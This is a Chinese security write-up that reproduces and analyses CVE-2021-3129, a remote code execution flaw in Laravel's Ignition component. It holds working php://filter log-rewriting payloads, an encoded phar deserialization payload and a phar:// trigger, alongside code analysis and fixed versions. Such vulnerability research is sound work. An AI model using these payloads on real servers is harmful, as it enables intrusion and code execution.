首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2021-3129:Laravel远程代码执行复现分析

CVE-2021-3129:Laravel远程代码执行复现分析

作者头像
Timeline Sec
发布于 2021-03-04 06:52:15
发布于 2021-03-04 06:52:15
5.2K00
代码可运行
举报
文章被收录于专栏:Timeline SecTimeline Sec
运行总次数:0
代码可运行

作者:Xz&hatjwe@Timeline Sec

本文字数:5952

阅读时长:10~11min

声明:请勿用作违法用途,否则后果自负

0x01 简介

Laravel 是一套简洁、优雅的PHP Web开发框架(PHP Web Framework)。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁、富于表达力。

0x02 漏洞概述

编号:CVE-2021-3129 当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

0x03 影响版本

Laravel 框架 < 8.4.3

facade ignition 组件 < 2.5.2

0x04 环境搭建

1.从github上获取代码

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
git clone https://github.com/laravel/laravel.git
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ cd laravel
$ git checkout e849812   # 切换有漏洞的分枝
$ composer install   # 利用composer下载依赖库文件 
$ composer require facade/ignition==2.5.1   # 下载存在漏洞版本组件
$ php artisan serve

2.将我们拉下来的代码放入phpstorm中,打开laravel的debug mode

3.运行phpstorm刚开始我们的页面是需要获取appkey的

4.我们在根目录下将原有的.env.example文件改名为.env

运行php artisan key:generate 创建appkey重新运行

5.这里我们还要在resources\views中添加一个自定的hello.blade.php内容如下

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<!DOCTYPE html> <html lang="{{ str_replace('_', '-', app()->getLocale()) }}">  <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <body> <div id="hello"> {{$username }} </div>

6.再配置路由,在routes\web.php中添加如下内容:

Route::get('/hello', function () { return view('hello'); });

0x05 漏洞复现

想要利用该漏洞需要有几个步骤: 利用phpggc生成对应的phar文件→清空laravel.log → 将编码后的字符写入到log中→清除干扰字符→执行phar反序列化

一、利用phpggc生成对应的phar文件

我们可以通过在laravel的依赖里面找一条能够rce的链,如monolog/rce1,生成对应的phar文件,并将phar文件base64编码

phpggc:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://github.com/ambionics/phpggc

再将该base64编码后的字符进行convert.quoted-printable-encode编码

二、清空laravel.log

作者在文章中提出了使用php://filter中的convert.base64-decode过滤器的特性,将log清空。这里用大佬的payload清空日志

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
viewFile: php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

三、将编码后的字符写入到log中

将base64编码后的字符进行convert.quoted-printable-encode编码后写入到log文件

viewFile:=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=5A=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=43=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=33=00=4F=00=69=00=4A=00=77=00=61=00=48=00=42=00=70=00=62=00=6D=00=5A=00=76=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=6D=00=4E=00=68=00=62=00=47=00=78=00=66=00=64=00=58=00=4E=00=6C=00=63=00=6C=00=39=00=6D=00=64=00=57=00=35=00=6A=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6C=00=4E=00=70=00=65=00=6D=00=55=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=54=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=63=00=7A=00=6F=00=31=00=4F=00=69=00=4A=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=68=00=62=00=47=00=6C=00=36=00=5A=00=57=00=51=00=69=00=4F=00=32=00=49=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=4D=00=61=00=57=00=31=00=70=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=77=00=63=00=6D=00=39=00=6A=00=5A=00=58=00=4E=00=7A=00=62=00=33=00=4A=00=7A=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=6D=00=4E=00=31=00=63=00=6E=00=4A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=4A=00=6A=00=59=00=57=00=78=00=73=00=58=00=33=00=56=00=7A=00=5A=00=58=00=4A=00=66=00=5A=00=6E=00=56=00=75=00=59=00=79=00=49=00=37=00=66=00=58=00=31=00=39=00=42=00=51=00=41=00=41=00=41=00=47=00=52=00=31=00=62=00=57=00=31=00=35=00=42=00=41=00=41=00=41=00=41=00=48=00=32=00=4D=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=48=00=32=00=4D=00=42=00=57=00=41=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=48=00=52=00=6C=00=63=00=33=00=52=00=42=00=39=00=31=00=34=00=62=00=6B=00=38=00=70=00=6C=00=39=00=69=00=36=00=34=00=34=00=2F=00=4D=00=55=00=37=00=39=00=56=00=79=00=6F=00=35=00=6A=00=37=00=4B=00=41=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00

四、清空干扰字符只留下我们生成的payload

viewFile:php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

五、触发phar反序列化

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
viewFile: phar://路径/storage/logs/laravel.log/test.txt

0x06 漏洞分析

安装时特意安装的ignition==2.5.1,所以漏洞其实就发生在Ignition(<=2.5.1)中,ignition默认提供了以下几个solutions,通过这些solutions可以快速修复一些debug,这也是漏洞的利用的起点< span="">

从原文作者哪里得知漏洞出现在MakeViewVariableOptionalSolution.php文件中

我们先在Debug页面抓个包看看都有哪些参数

可以到有3个参数

solution:表示解决这个方法的类

parameters下有

valirabelName:变量名

viewFile:变量名所在的位置

盲猜可控的参数就是viewFile了,我们看看源代码是怎么样的

可以看到run()方法中把可控的parameters参数传了过去,这里可以调用到MakeViewVariableOptionalSolution::run(),去看下源码逻辑与功能

这里的主要功能点就是把$variableName替换为为$variableName ?? ''并使用了file_get_contents()去读取了一个可控的路径参数,所以这里可以通过phar://协议去触发phar反序列化

既然路径可控,那么首先想到的就是log文件,虽然log不能直接被当做php执行,但是有了file_get_contents+phar就可以;我们修改可控的viewfile参数后看看log中是什么样的

可以看到日志中写入了3次test,那么怎么才能只保留我们最后的一个payload呢,作者使用了filter做了清空字符以及去除多余字符的方法。

0x07 修复方式

目前官方已在高版本中修复了该漏洞,请受影响的用户升级至安全版本

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
https://github.com/laravel/laravel/releases
https://github.com/facade/ignition/releases

0x08 坑点

1、生成不了phar文件是因为php配置的问题,需要将php.ini中的phar.readonly 改为 Off

2、phpggc工具的使用,建议去kali生成字符,window可能会由于参数写法报错

3、对于清空log,以及清除log干扰字符中的每个filter的详解,请看参考文章,这里就不复制粘贴了,原作者将的很清楚

4、在除去多余字符时有时候会出错只剩下一个’<< span="">’不知道何原因。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
参考链接:

https://mp.weixin.qq.com/s/qTZ9WFFmATk3Hu3Sb9uQzA

https://mp.weixin.qq.com/s/k08P2Uij_4ds35FxE2eh0g

https://www.ambionics.io/blog/laravel-debug-rce

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-20,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
代码审计-dubbo admin <=2.6.1远程命令执行漏洞
通过结构化的思维进行以软件程序为中心的威胁建模、枚举威胁、缓解威胁、验证来解决四个问题:具体业务是什么?哪些地方可能出现风险?如何规避解决?是否覆盖完整。 通过前排了解(包括在fofa、zoomeyes、shodan的范围分析、wooyun历史漏洞材料输入),考量以下方面: - 数据流或代码布局; - 访问控制; - 现有的或内置的安全控制; - 非用户输入的入口点; - 与外部服务的集成; - 配置文件和数据源的位置; - 插件和定制化展现(在内置设计框架的情况下)。
安全乐观主义
2019/11/19
3.8K0
Ursnif针对意大利公司的新攻击
Ursnif 是十分活跃的威胁之一,通常针对意大利和欧洲多个行业发起垃圾邮件攻击。
FB客服
2020/05/25
1.2K0
Ursnif针对意大利公司的新攻击
常用编码表
Text-to-speech function is limited to 200 characters
botkenni
2019/09/03
1.1K0
常用编码表
FlexPaper <= 2.3.6 RCE远程代码执行漏洞分析附POC
这个漏洞的编号是CVE-2018-11686,但是漏洞本身没有公开,最近看到了exp自己跟着分析了一下。补丁可以在新版本中找到。新的版本2.3.7
用户5878089
2019/07/25
1.7K0
FlexPaper <= 2.3.6 RCE远程代码执行漏洞分析附POC
python:过滤字符串中的字母数字特殊
字符串.isalnum()  所有字符都是数字或者字母,为真返回 Ture,否则返回 False。 字符串.isalpha()   所有字符都是字母,为真返回 Ture,否则返回 False。 字符串.isdigit()     所有字符都是数字,为真返回 Ture,否则返回 False。 字符串.islower()    所有字符都是小写,为真返回 Ture,否则返回 False。 字符串.isupper()   所有字符都是大写,为真返回 Ture,否则返回 False。 字符串.istitle()      所有单词都是首字母大写,为真返回 Ture,否则返回 False。 字符串.isspace()   所有字符都是空白字符,为真返回 Ture,否则返回 False。
py3study
2020/01/19
4K0
利用文件头标志判断文件类型
我们都知道,文件的扩展名是用来识别文件类型的。通过给他指定扩展名,我们可以告诉自己,也告诉操作系统我们想用什么方式打开这个文件。比如我么会把.jpg的文件默认用图片显示软件打开,.zip 文件会默认用解压软件打开等等。
mythsman
2022/11/14
2.5K0
手把手教你如何在Atmail上构建XSS蠕虫
Atmail是一个热门的云服务以及电子邮件托管提供商,目前有很多公司、主机服务商和ISP都在使用Atmail,比如说DreamHost、LegalShield (美国)、m:tel(波斯尼亚)、iiNet和Optus (澳大利亚)。
FB客服
2018/12/25
8950
手把手教你如何在Atmail上构建XSS蠕虫
【国庆快乐^^】如何在Atmail上构建XSS蠕虫
如何在Atmail上构建XSS蠕虫 这篇博客文章由高级安全分析师Zach Julian撰写; 你可以在Twitter上与他联系。 Atmail是云端和本地电子邮件托管的受欢迎的提供商。 作为DreamHost的atmail用户,在我工作期间,我看到了几个令人印象深刻的电子邮件跨站点脚本(XSS)攻击,我试图在他们的webmail前端找到一个xss漏洞。 几个小时后我发现了一个有效载荷,但是想更进一步的利用他。 最着名的XSS蠕虫病例在2005年影响了MySpace ,2014年的TweetDeck更
安恒网络空间安全讲武堂
2018/02/06
9560
【国庆快乐^^】如何在Atmail上构建XSS蠕虫
非对称密钥沉思系列 收官篇:证书格式与编码的部分总结
数字1被ISO加在ASN的后边,是为了保持ASN的开放性,可以让以后功能更加强大的ASN被命名为ASN.2等,但至今也没有出现。
密码学人CipherHUB
2023/01/04
4.2K1
内网 HTTPS 可信证书
  开发团队或者公司内部一般会采用内外网隔离、上网行为过滤等措施,比较可靠地保证了内部设备无法被外部网络所侦测,从而可能认为 HTTP 内网站点是一个相对安全的存在。即使在 HTTPS 证书如此盛行的今天,也还暂时不考虑内部站点的 HTTPS 化。IP + Port 或者 http://本地域名 的访问方式依旧是座上宾。当然,如果考虑到购买 HTTPS 证书的成本或者团队内网站点采用 Letsencrypt 等免费证书过于麻烦(只能采用 DNS 验证的方式每三个月申请一次新证书),那么自签名 SSL 证书则成为首选了。不过,如果为每一个内网站点都生成一个 SSL 证书,然后让大家都手动把 HTTPS 标为可信,那么当面临大量内网站点时,大家可能要被搞崩溃。更为可行的办法是,生成一个内网用的根证书,只标记该根证书可信。
zhonger
2022/10/28
6.9K0
内网 HTTPS 可信证书
记一次WordPress网站.htaccess文件感染病毒
今天碰到一个比较厉害的病毒,会自动感染网站目录下面的index.php和.htaccess等文件,感染之后网站打不开,其他的影响不清楚,这里记录一下病毒分析和解决方法。
子润先生
2021/06/09
8610
ssh-keygen生成的id_rsa文件的格式
Your identification has been saved in /home/gemfield/.ssh/id_rsa. Your public key has been saved in /home/gemfield/.ssh/id_rsa.pub
战神伽罗
2019/11/26
5.2K0
Python:监控键盘输入、鼠标操作,并
  使用pyhook模块可以很快地完成键盘及鼠标事件捕获,本来想使用python的logging模块,但测试时发现,因为鼠标事件频率太高,导致写时报I/O错误的异常,所以使用了自己写文件记录日志的方式。
py3study
2020/01/06
2.1K0
国密curl的用法指南
cURL(客户端URL)是一个开放源代码的命令行工具,用来请求 Web和其他各种类型的服务器。curl有着大量的参数,常用来测试/调试服务器的开发和排查等,堪称一个网络“神器”。
用户8941398
2022/07/20
1.1K0
国密curl的用法指南
[ffffffff0x] 文件结构概述:PNG格式
在CTF比赛中,常见各种文件的隐写题目。而图片格式,常见的题目类型有LSB隐写、图片尺寸篡改、jphide隐写等。本文将介绍PNG的文件结构内容,辅助解决CTF中遇到的图片隐写问题。
r0fus0d
2021/01/06
2.3K0
[ffffffff0x] 文件结构概述:PNG格式
ASCII码对照表
ASCII可显示字符 二进制 十进制 十六进制 图形 0010 0000 32 20 (空格)(␠) 0010 0001 33 21 ! 0010 0010 34 22 " 0010 0011 35 23 # 0010 0100 36 24 $ 0010 0101 37 25 % 0010 0110 38 26 & 0010 0111 39 27 ' 0010 1000 40 28 ( 0010 1001 41 29 ) 0010 1010 42 2A * 0010 1011 43 2B + 0010 11
kenvie
2022/01/20
1.7K0
浅谈加密算法 aes
常见的不可逆加密算法有MD5,HMAC,SHA1、SHA-224、SHA-256、SHA-384,和SHA-512。他们的特点是,不能从加密后的结果解密出原文,主要用于校检数据的一致性,防止篡改数据,我们之前分析的大部分sign签名都是不可逆算法。也叫散列算法或者哈希算法。
奋飞安全
2022/04/07
2.5K0
kubernetes init流程概览
kubernetes init流程 引导前检查 生成私钥以及数字证书 生成控制平面的kubeconfig文件 生成控制平面组件的manifest文件 下载镜像,等待控制平面启动 保存MasterConfiguration 设定Master标志 进行基于TLS的安全引导相关的配置 安装DNS和kube-porxy插件 引导前检查 kubeadm init pre-flight check: kubeadm版本要与安装的kubernetes版本的比对检查 kubernetes安装的系统需求检查 其
禹都一只猫olei
2018/10/22
1.3K0
kubernetes init流程概览
文件I/O (二).结构体存取(3)
结合前面的代码,从这个二进制编码里,我们可以看出很多有价值的信息 1.这是一个小端序的系统(数据的低字节保存在内存的低地址中) 2.每一个结构体占用了16字节 3.0-3 对应 int 的存储位置,4-8 对应 char[5] 的存储位置,12-15 对应 int 的存储位置 4.9-11 被空置了 这个命令将 ASCII 可显示的部分进行了显示,无法显示的都转化成了点 ---- ASCII 码 在Linux中使用man命令可以看到一份完整的ASCII码表 emacs@ubuntu:~/c$ man as
franket
2021/09/16
2700
HTML网站URL编码和解码学习总结
HTML的URL字符编码概述 描述:URL 编码会将字符转换为可通过因特网传输的格式。
全栈工程师修炼指南
2020/10/23
2.7K1
HTML网站URL编码和解码学习总结
相关推荐
代码审计-dubbo admin <=2.6.1远程命令执行漏洞
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档